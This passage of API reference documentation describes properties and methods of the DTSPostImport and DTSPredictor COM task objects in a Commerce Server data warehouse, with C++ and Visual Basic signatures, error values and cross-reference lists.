DTSPostImport.TaskName


_DTSPostImport::get_ProcessingType, put_ProcessType Property [C++]

DTSPostImport.ProcessingType Property [Visual Basic]

The ProcessingType property is an enumeration that contains the type of processing, which can be full, refresh data, or incremental.

Definition

[C++]

Get method:

HRESULT _DTSPostImport::get_ProcessingType(
 long ProcessType
);

Put method:

HRESULT _DTSPostImport::put_ProcessingType(
 long ProcessType
);
[Visual Basic]
Property ProcessingType() As Long

Parameters

ProcessingType [C++]
[in] When putting the property, a long that contains the type of processing.
[out,retval] When getting the property, a long that contains the type of processing.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the ProcessingType property is set to ptypeFull (0), the task will perform a full processing on all OLAP dimensions and cubes. In addition, it will re-design aggregations for cubes as specified in the Optimization column of the CubeProcInfo table in the Data Warehouse. If the ProcessingType property is set to ptypeRefreshData(1), the task will perform a data refesh on all OLAP dimensions and cubes. If the ProcessingType property is set to ptypeIncremental (100), the task will process the load incrementally. The OLAP cubes will be incrementally updated with data loaded into the Data Warehouse since the last Report Preparation DTS task was run. The default value is pTypeRefreshData(1).

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::get_NumRetries, put_NumRetries

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_SourceName, put_SourceName

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.NumRetries

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.RetryInterval

DTSPostImport.SourceName

DTSPostImport.TaskName


_DTSPostImport::get_RetryInterval, put_RetryInterval Property [C++]

DTSPostImport.RetryInterval Property [Visual Basic]

The RetryInterval property contains the amount of time, in seconds, that will pass between each retry attempt.

Definition

[C++]

Get method:

HRESULT _DTSPostImport::get_RetryInterval(
 long RetryInterval
);

Put method:

HRESULT _DTSPostImport::put_RetryInterval(
 long RetryInterval
);
[Visual Basic]
Property RetryInterval() As Long

Parameters

RetryInterval [C++]
[in] When putting the property, a long that contains the number of seconds between retry attempts.
[out,retval] When getting the property, a long that contains the number of seconds between retry attempts.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The minimum value that can be assigned to the RetryInterval property is 0, the maximum value is 3600. The default value is 30.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::get_NumRetries, put_NumRetries

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_SourceName, put_SourceName

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.NumRetries

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.ProcessType

DTSPostImport.SourceName

DTSPostImport.TaskName


_DTSPostImport::get_SourceName, put_SourceName Property [C++]

DTSPostImport.SourceName Property [Visual Basic]

The SourceName property is a String that contains the name of the Data Warehouse for which this task is processing data.

Definition

[C++]

Get method:

HRESULT _DTSPostImport::get_SourceName(
 BSTR SourceName
);

Put method:

HRESULT _DTSPostImport::put_SourceName(
 BSTR SourceName
);
[Visual Basic]
Property SourceName() As String

Parameters

SourceName [C++]
[in] When putting the property, a BSTR that contains the name of the Data Warehouse.
[out,retval] When putting the property, a BSTR that contains the name of the Data Warehouse.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::get_NumRetries, put_NumRetries

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.NumRetries

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.ProcessType

DTSPostImport.RetryInterval

DTSPostImport.TaskName


_DTSPostImport::get_TaskName, put_TaskName Property [C++]

DTSPostImport.TaskName Property [Visual Basic]

The TaskName property is a read/write String that contains the name of the Data Transformation Services (DTS) task being run.

Definition

[C++]

Get method:

HRESULT _DTSPostImport::get_TaskName(
 BSTR TaskName
);

Put method:

HRESULT _DTSPostImport::put_TaskName(
 BSTR TaskName
);
[Visual Basic]
Property TaskName() As String

Parameters

TaskName [C++]
[in] When putting a value, a BSTR that contains the name of the DTS task being run.
[out,retval] When getting a value, a BSTR that contains the name of the DTS task being run.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::get_NumRetries, put_NumRetries

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_SourceName, put_SourceName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.NumRetries

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.ProcessType

DTSPostImport.RetryInterval

DTSPostImport.SourceName


DTSPredictor Object [C++]

DTSPredictor Object [Visual Basic]

Use this object to rebuild prediction and segment models. This object should be run from within the context of a Data Transformation Services (DTS) package. The methods and properties should not be accessed directly. For more information about scripting the Model Builder DTS task, see Scripting the Model Builder DTS Task.

ProgID: | Commerce.DTSPredictor (Externally creatable)
COM Class Name: | DTSPredictor
Type Library Name: | Microsoft Commerce 2002 Predictor DTS Task Type Library
DLL Name: | CSDWDTSPredictor.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DTSPredictor
Interface ID Constant: | None
Header File: | None

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Properties

[C++]
Property | Type | Description
ArchiveType | short | An enumeration that contains the suffix to be concatenated to the name of the model. This property is read/write.
CustomRename | BSTR | Contains the custom suffix to be concatenated to the name of the model if the ArchiveType property is set to custom rename. This property is read/write.
DWConnStr | BSTR | Contains the Data Warehouse connection string. This property is read/write.
ModelCfgName | BSTR | Contains the name of source model configuration (valid only if the Web site name is used). This property is read/write.
ModelName | BSTR | Contains the name of the model to rebuild. This property is read/write.
NumRetries | long | Contains the number of retry attempts that will be made after a Predictor model build failure. This property is read/write.
RetryInterval | long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Contains the name of the Web site or Data Warehouse where the model to be rebuilt is stored. This property is read/write.
SourceType | long | An enumeration that contains the level on which the DTS task will operate. This property is read/write.
Version | long | Contains the version number to be concatenated to the name of the model if the ArchiveType property is set to version. This property is read/write.
[Visual Basic]
Property | Type | Description
ArchiveType | Integer | An enumeration that contains the suffix to be concatenated to the name of the model. This property is read/write.
CustomRename | String | Contains the custom suffix to be concatenated to the name of the model if the ArchiveType property is set to custom rename. This property is read/write.
DWConnStr | String | Contains the Data Warehouse connection string. This property is read/write.
ModelCfgName | String | Contains the name of source model configuration (valid only if the Web site name is used). This property is read/write.
ModelName | String | Contains the name of the model to rebuild. This property is read/write.
NumRetries | Long | Contains the number of retry attempts that will be made after a Predictor model build failure. This property is read/write.
RetryInterval | Long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | String | Contains the name of the Web site or Data Warehouse where the model to be rebuilt is stored. This property is read/write.
SourceType | Long | An enumeration that contains the level on which the DTS task will operate. This property is read/write.
Version | Long | Contains the version number to be concatenated to the name of the model if the ArchiveType property is set to version. This property is read/write.

See Also

Scripting the Model Builder DTS Task

[C++]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSLogImport Object

DTSMarketingImport Object

DTSPostImport Object

DTSSynchAdminData Object

DTSTransactionImport Object

DTSUPMCustomTask Object

[Visual Basic]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSLogImport Object

DTSMarketingImport Object

DTSPostImport Object

DTSSynchAdminData Object

DTSTransactionImport Object

DTSUPMCustomTask Object


_DTSPredictor Methods [C++]

_DTSPredictor Methods [Visual Basic]

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.


_DTSPredictor::CustomTask_Execute Method [C++]

DTSPredictor.CustomTask_Execute Method [Visual Basic]

Use this method to run the Data Transformation Services (DTS) task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSPredictor::CustomTask_Execute(
 IDispatch* pPackage,
 IDispatch* pPackageEvents,
 IDispatch* pPackageLog
);
[Visual Basic]
Sub CustomTask_Execute(
 pPackage As Object,
 pPackageEvents As Object,
 pPackageLog As Object
)

Parameters

pPackage [C++]
[in] A reference to the Package object that runs the DTS task.
pPackage [Visual Basic]
The Package object that runs the DTS task.
pPackageEvents [C++]
[in] A reference to the events of the Package object.
pPackageEvents [Visual Basic]
The events of the Package object.
pPackageLog [C++]
[in] A reference to a PackageLog object that writes task log records in the database or writes log messages to the log file.
pPackageLog [Visual Basic]
The PackageLog object that writes task log records in the database or writes log messages to the log file.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Model Builder DTS Task

[C++]

_DTSPredictor::get_ArchiveType, put_ArchiveType

_DTSPredictor::get_CustomRename, put_CustomRename

_DTSPredictor::get_DWConnStr, put_DWConnStr

_DTSPredictor::get_ModelCfgName, put_ModelCfgName

_DTSPredictor::get_ModelName, put_ModelName

_DTSPredictor::get_NumRetries, put_NumRetries

_DTSPredictor::PersistPropertyBag_Load

_DTSPredictor::PersistPropertyBag_Save

_DTSPredictor::get_RetryInterval, put_RetryInterval

_DTSPredictor::get_SourceName, put_SourceName

_DTSPredictor::get_SourceType, put_SourceType

_DTSPredictor::get_Version, put_Version

[Visual Basic]

DTSPredictor.ArchiveType

DTSPredictor.CustomRename

DTSPredictor.DWConnStr

DTSPredictor.ModelCfgName

DTSPredictor.ModelName

DTSPredictor.NumRetries

DTSPredictor.PersistPropertyBag_Load

DTSPredictor.PersistPropertyBag_Save

DTSPredictor.RetryInterval

DTSPredictor.SourceName

DTSPredictor.SourceType

DTSPredictor.Version


_DTSPredictor::PersistPropertyBag_Load Method [C++]

DTSPredictor.PersistPropertyBag_Load Method [Visual Basic]

Use this method to load the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSPredictor::PersistPropertyBag_Load(
 );
[Visual Basic]
Sub PersistPropertyBag_Load(
 )

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

See Also

Scripting the Model Builder DTS Task

[C++]

_DTSPredictor::get_ArchiveType, put_ArchiveType

_DTSPredictor::get_CustomRename, put_CustomRename

_DTSPredictor::CustomTask_Execute

_DTSPredictor::get_DWConnStr, put_DWConnStr

_DTSPredictor::get_ModelCfgName, put_ModelCfgName

_DTSPredictor::get_ModelName, put_ModelName

_DTSPredictor::get_NumRetries, put_NumRetries

_DTSPredictor::PersistPropertyBag_Save

_DTSPredictor::get_RetryInterval, put_RetryInterval

_DTSPredictor::get_SourceName, put_SourceName

_DTSPredictor::get_SourceType, put_SourceType

_DTSPredictor::get_Version, put_Version

[Visual Basic]

DTSPredictor.ArchiveType

DTSPredictor.CustomRename

DTSPredictor.CustomTask_Execute

DTSPredictor.DWConnStr

DTSPredictor.ModelCfgName

DTSPredictor.ModelName

DTSPredictor.NumRetries

DTSPredictor.PersistPropertyBag_Save

DTSPredictor.RetryInterval

DTSPredictor.SourceName

DTSPredictor.SourceType

DTSPredictor.Version


_DTSPredictor::PersistPropertyBag_Save Method [C++]

DTSPredictor.PersistPropertyBag_Save Method [Visual Basic]

Use this method to save the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSPredictor::PersistPropertyBag_Save(
 );
[Visual Basic]
Sub PersistPropertyBag_Save(
)

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

See Also

Scripting the Model Builder DTS Task

[C++]

_DTSPredictor::get_ArchiveType, put_ArchiveType

_DTSPredictor::get_CustomRename, put_CustomRename

_DTSPredictor::CustomTask_Execute

_DTSPredictor::get_DWConnStr, put_DWConnStr

_DTSPredictor::get_ModelCfgName, put_ModelCfgName

_DTSPredictor::get_ModelName, put_ModelName

_DTSPredictor::get_NumRetries, put_NumRetries

_DTSPredictor::PersistPropertyBag_Load

_DTSPredictor::get_RetryInterval, put_RetryInterval

_DTSPredictor::get_SourceName, put_SourceName

_DTSPredictor::get_SourceType, put_SourceType

_DTSPredictor::get_Version, put_Version

[Visual Basic]

DTSPredictor.ArchiveType

DTSPredictor.CustomRename

DTSPredictor.CustomTask_Execute

DTSPredictor.DWConnStr

DTSPredictor.ModelCfgName

DTSPredictor.ModelName

DTSPredictor.NumRetries

DTSPredictor.PersistPropertyBag_Load

DTSPredictor.RetryInterval

DTSPredictor.SourceName

DTSPredictor.SourceType

DTSPredictor.Version


_DTSPredictor Properties [C++]

DTSPredictor Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
ArchiveType | short | An enumeration that contains the suffix to be concatenated to the name of the model. This property is read/write.
CustomRename | BSTR | Contains the custom suffix to be concatenated to the name of the model if the ArchiveType property is set to custom rename. This property is read/write.
DWConnStr | BSTR | Contains the Data Warehouse connection string. This property is read/write.
ModelCfgName | BSTR | Contains the name of source model configuration (valid only if the Web site name is used). This property is read/write.
ModelName | BSTR | Contains the name of the model to rebuild. This property is read/write.
NumRetries | long | Contains the number of retry attempts that will be made after a Predictor model build failure. This property is read/write.
RetryInterval | long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Contains the name of the Web site or Data Warehouse where the model to be rebuilt is stored. This property is read/write.
SourceType | long | An enumeration that contains the level on which the DTS task will operate. This property is read/write.
Version | long | Contains the version number to be concatenated to the name of the model if the ArchiveType property is set to version. This property is read/write.
[Visual Basic]
Property | Type | Description
ArchiveType | Integer | An enumeration that contains the suffix to be concatenated to the name of the model. This property is read/write.
CustomRename | String | Contains the custom suffix to be concatenated to the name of the model if the ArchiveType property is set to custom rename. This property is read/write.
DWConnStr | String | Contains the Data Warehouse connection string. This property is read/write.
ModelCfgName | String | Contains the name of source model configuration (valid only if the Web site name is used). This property is read/write.
ModelName | String | Contains the name of the model to rebuild. This property is read/write.
NumRetries | Long | Contains the number of retry attempts that will be made after a Predictor model build failure. This property is read/write.
RetryInterval | Long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | String | Contains the name of the Web site or Data Warehouse where the model to be rebuilt is stored. This property is read/write.
SourceType | Long | An enumeration that contains the level on which the DTS task will operate. This property is read/write.
Version | Long | Contains the version number to be concatenated to the name of the model if the ArchiveType property is set to version. This property is read/write.


_DTSPredictor::get_ArchiveType, put_ArchiveType Property [C++]

DTSPredictor.ArchiveType Property [Visual Basic]

The ArchiveType property is a read/write Integer enumeration that contains the suffix to be concatenated to the name of the model if an archive option is used.

Definition

[C++]

Get method:

HRESULT _DTSPredictor::get_ArchiveType(
 short ArchiveTypeEnum
);

Put method:

HRESULT _DTSPredictor::put_ArchiveType(
 short* ArchiveTypeEnum
);
[Visual Basic]
Property ArchiveType() As Integer

Parameters

ArchiveTypeEnum[C++]
[in] When putting a property, a short that is used to determine the type of suffix appended to the name of the model.
[out, retval] When getting a property, a pointer to a short used to identify the type of suffix appended to the name of the model.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the ArchiveType property is set to archtypeDate (0), the suffix will contain the date. If the ArchiveType property is set to archivetypeVersion (1), the suffix will contain the version number. If the ArchiveType property is set to archtypeCustom (2), the suffix will contain the custom suffix specified by the CustomRename property. If the ArchiveType property is set to archtypeNone (-1), no suffix will be added.

See Also

Scripting the Model Builder DTS Task

[C++]

_DTSPredictor::get_CustomRename, put_CustomRename

_DTSPredictor::CustomTask_Execute

_DTSPredictor::get_DWConnStr, put_DWConnStr

_DTSPredictor::get_ModelCfgName, put_ModelCfgName

_DTSPredictor::get_ModelName, put_ModelName

_DTSPredictor::get_NumRetries, put_NumRetries

_DTSPredictor::PersistPropertyBag_Load

_DTSPredictor::PersistPropertyBag_Save

_DTSPredictor::get_RetryInterval, put_RetryInterval

_DTSPredictor::get_SourceName, put_SourceName

_DTSPredictor::get_SourceType, put_SourceType

_DTSPredictor::get_Version, put_Version

[Visual Basic]

DTSPredictor.CustomRename

DTSPredictor.CustomTask_Execute

DTSPredictor.DWConnStr

DTSPredictor.ModelCfgName

DTSPredictor.ModelName

DTSPredictor.NumRetries

DTSPredictor.PersistPropertyBag_Load

DTSPredictor.PersistPropertyBag_Save

DTSPredictor.RetryInterval

DTSPredictor.SourceName

DTSPredictor.SourceType

DTSPredictor.Version


_DTSPredictor::get_CustomRename, put_CustomRename Property [C++]

DTSPredictor.CustomRename Property [Visual Basic]

The CustomRename property is a read/write String that contains a custom suffix to be appended to the name of the model.

Definition

[C++]

Get method:

HRESULT _DTSPredictor::get_CustomRename(
 BSTR CustomRename
);

Put method:

HRESULT _DTSPredictor::put_CustomRename(
 BSTR* CustomRename
);
[Visual Basic]
Property CustomRename() As String

Parameters

CustomRename[C++]
[in] When putting a property, a BSTR that is used as a custom suffix to be appended to the name of the model.
[out, retval] When getting a property, a pointer to a BSTR that is used as the custom suffix to be appended to the name of the model.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The CustomRename property is only used if the ArchiveType property is set to archtypeCustom(2).

See Also

Scripting the Model Builder DTS Task

[C++]

_DTSPredictor::get_ArchiveType, put_ArchiveType

_DTSPredictor::CustomTask_Execute

_DTSPredictor::get_DWConnStr, put_DWConnStr

_DTSPredictor::get_ModelCfgName, put_ModelCfgName

_DTSPredictor::get_ModelName, put_ModelName

_DTSPredictor::get_NumRetries, put_NumRetries

_DTSPredictor::PersistPropertyBag_Load

_DTSPredictor::PersistPropertyBag_Save

_DTSPredictor::get_RetryInterval, put_RetryInterval

_DTSPredictor::get_SourceName, put_SourceName

_DTSPredictor::get_SourceType, put_SourceType

_DTSPredictor::get_Version, put_Version

[Visual Basic]

DTSPredictor.ArchiveType

DTSPredictor.CustomTask_Execute

DTSPredictor.DWConnStr

DTSPredictor.ModelCfgName

DTSPredictor.ModelName

DTSPredictor.NumRetries

DTSPredictor.PersistPropertyBag_Load

DTSPredictor.PersistPropertyBag_Save

DTSPredictor.RetryInterval

DTSPredictor.SourceName

DTSPredictor.SourceType

DTSPredictor.Version


_DTSPredictor::get_DWConnStr, put_DWConnStr Property [C++]

DTSPredictor.DWConnStr Property [Visual Basic]

The DWConnStr property is a read/write String that contains the Data Warehouse connection string.

Definition

[C++]

Get method:

HRESULT _DTSPredictor::get_DWConnStr(
 BSTR DWConnStr
);

Put method:

HRESULT _DTSPredictor::put_DWConnStr(
 BSTR* DWConnStr
);
[Visual Basic]
Property DWConnStr() As String

Parameters

DWConnStr[C++]
[in] When putting a property, a BSTR that contains the connection string for the Data Warehouse.
[out, retval] When getting a property, a pointer to a BSTR that contains the connection string for the Data Warehouse.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Model Builder DTS Task

[C++]

_DTSPredictor::get_ArchiveType, put_ArchiveType

_DTSPredictor::get_CustomRename, put_CustomRename

_DTSPredictor::CustomTask_Execute

_DTSPredictor::get_ModelCfgName, put_ModelCfgName

_DTSPredictor::get_ModelName, put_ModelName

_DTSPredictor::get_NumRetries, put_NumRetries

_DTSPredictor::PersistPropertyBag_Load

_DTSPredictor::PersistPropertyBag_Save

_DTSPredictor::get_RetryInterval, put_RetryInterval

_DTSPredictor::get_SourceName, put_SourceName

_DTSPredictor::get_SourceType, put_SourceType

_DTSPredictor::get_Version, put_Version

[Visual Basic]

DTSPredictor.ArchiveType

DTSPredictor.CustomRename

DTSPredictor.CustomTask_Execute

DTSPredictor.ModelCfgName

DTSPredictor.ModelName

DTSPredictor.NumRetries

DTSPredictor.PersistPropertyBag_Load

DTSPredictor.PersistPropertyBag_Save

DTSPredictor.RetryInterval

DTSPredictor.SourceName

DTSPredictor.SourceType

DTSPredictor.Version


_DTSPredictor::get_ModelCfgName, put_ModelCfgName Property [C++]

DTSPredictor.ModelCfgName Property [Visual Basic]

The ModelCfgName property is a read/write String that contains the name of the source model configuration.

Definition

[C++]

Get method:

HRESULT _DTSPredictor::get_ModelCfgName(
 BSTR ModelCfgName
);

Put method:

HRESULT _DTSPredictor::put_ModelCfgName(
 BSTR* ModelCfgName
);
[Visual Basic]
Property ModelCfgName() As String

Parameters

ModelCfgName[C++]
[in] When putting a property, a BSTR that contains the name of the source model configuration.
[out] When getting a property, a pointer to a BSTR that contains the name of the source model configuration.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This property is only used if the SourceType property is set to scrtypeSite. When using a Data Warehouse, the ModelCfgName property is unused and should be empty. When using srctypeSite (0), the ModelCfgName property must be used.

See Also

Scripting the Model Builder DTS Task

[C++]

_DTSPredictor::get_ArchiveType, put_ArchiveType

_DTSPredictor::get_CustomRename, put_CustomRename

_DTSPredictor::CustomTask_Execute

_DTSPredictor::get_DWConnStr, put_DWConnStr

_DTSPredictor::get_ModelName, put_ModelName

_DTSPredictor::get_NumRetries, put_NumRetries

_DTSPredictor::PersistPropertyBag_Load

_DTSPredictor::PersistPropertyBag_Save

_DTSPredictor::get_RetryInterval, put_RetryInterval

_DTSPredictor::get_SourceName, put_SourceName

_DTSPredictor::get_SourceType, put_SourceType

_DTSPredictor::get_Version, put_Version

[Visual Basic]

DTSPredictor.ArchiveType

DTSPredictor.CustomRename

DTSPredictor.CustomTask_Execute

DTSPredictor.DWConnStr

DTSPredictor.ModelName

DTSPredictor.NumRetries

DTSPredictor.PersistPropertyBag_Load

DTSPredictor.PersistPropertyBag_Save

DTSPredictor.RetryInterval

DTSPredictor.SourceName

DTSPredictor.SourceType

DTSPredictor.Version


_DTSPredictor::get_ModelName, put_ModelName Property [C++]

DTSPredictor.ModelName Property [Visual Basic]

The ModelName property is a read/write String that contains the name of the model to rebuild.

Definition

[C++]

Get method:

HRESULT _DTSPredictor::get_ModelName(
 BSTR ModelName
);

Put method:

HRESULT _DTSPredictor::put_ModelName(
 BSTR* ModelName
);
[Visual Basic]
Property ModelName() As String

Parameters

ModelName[C++]
[in] When putting a property, a BSTR that contains the name of the model to rebuild.
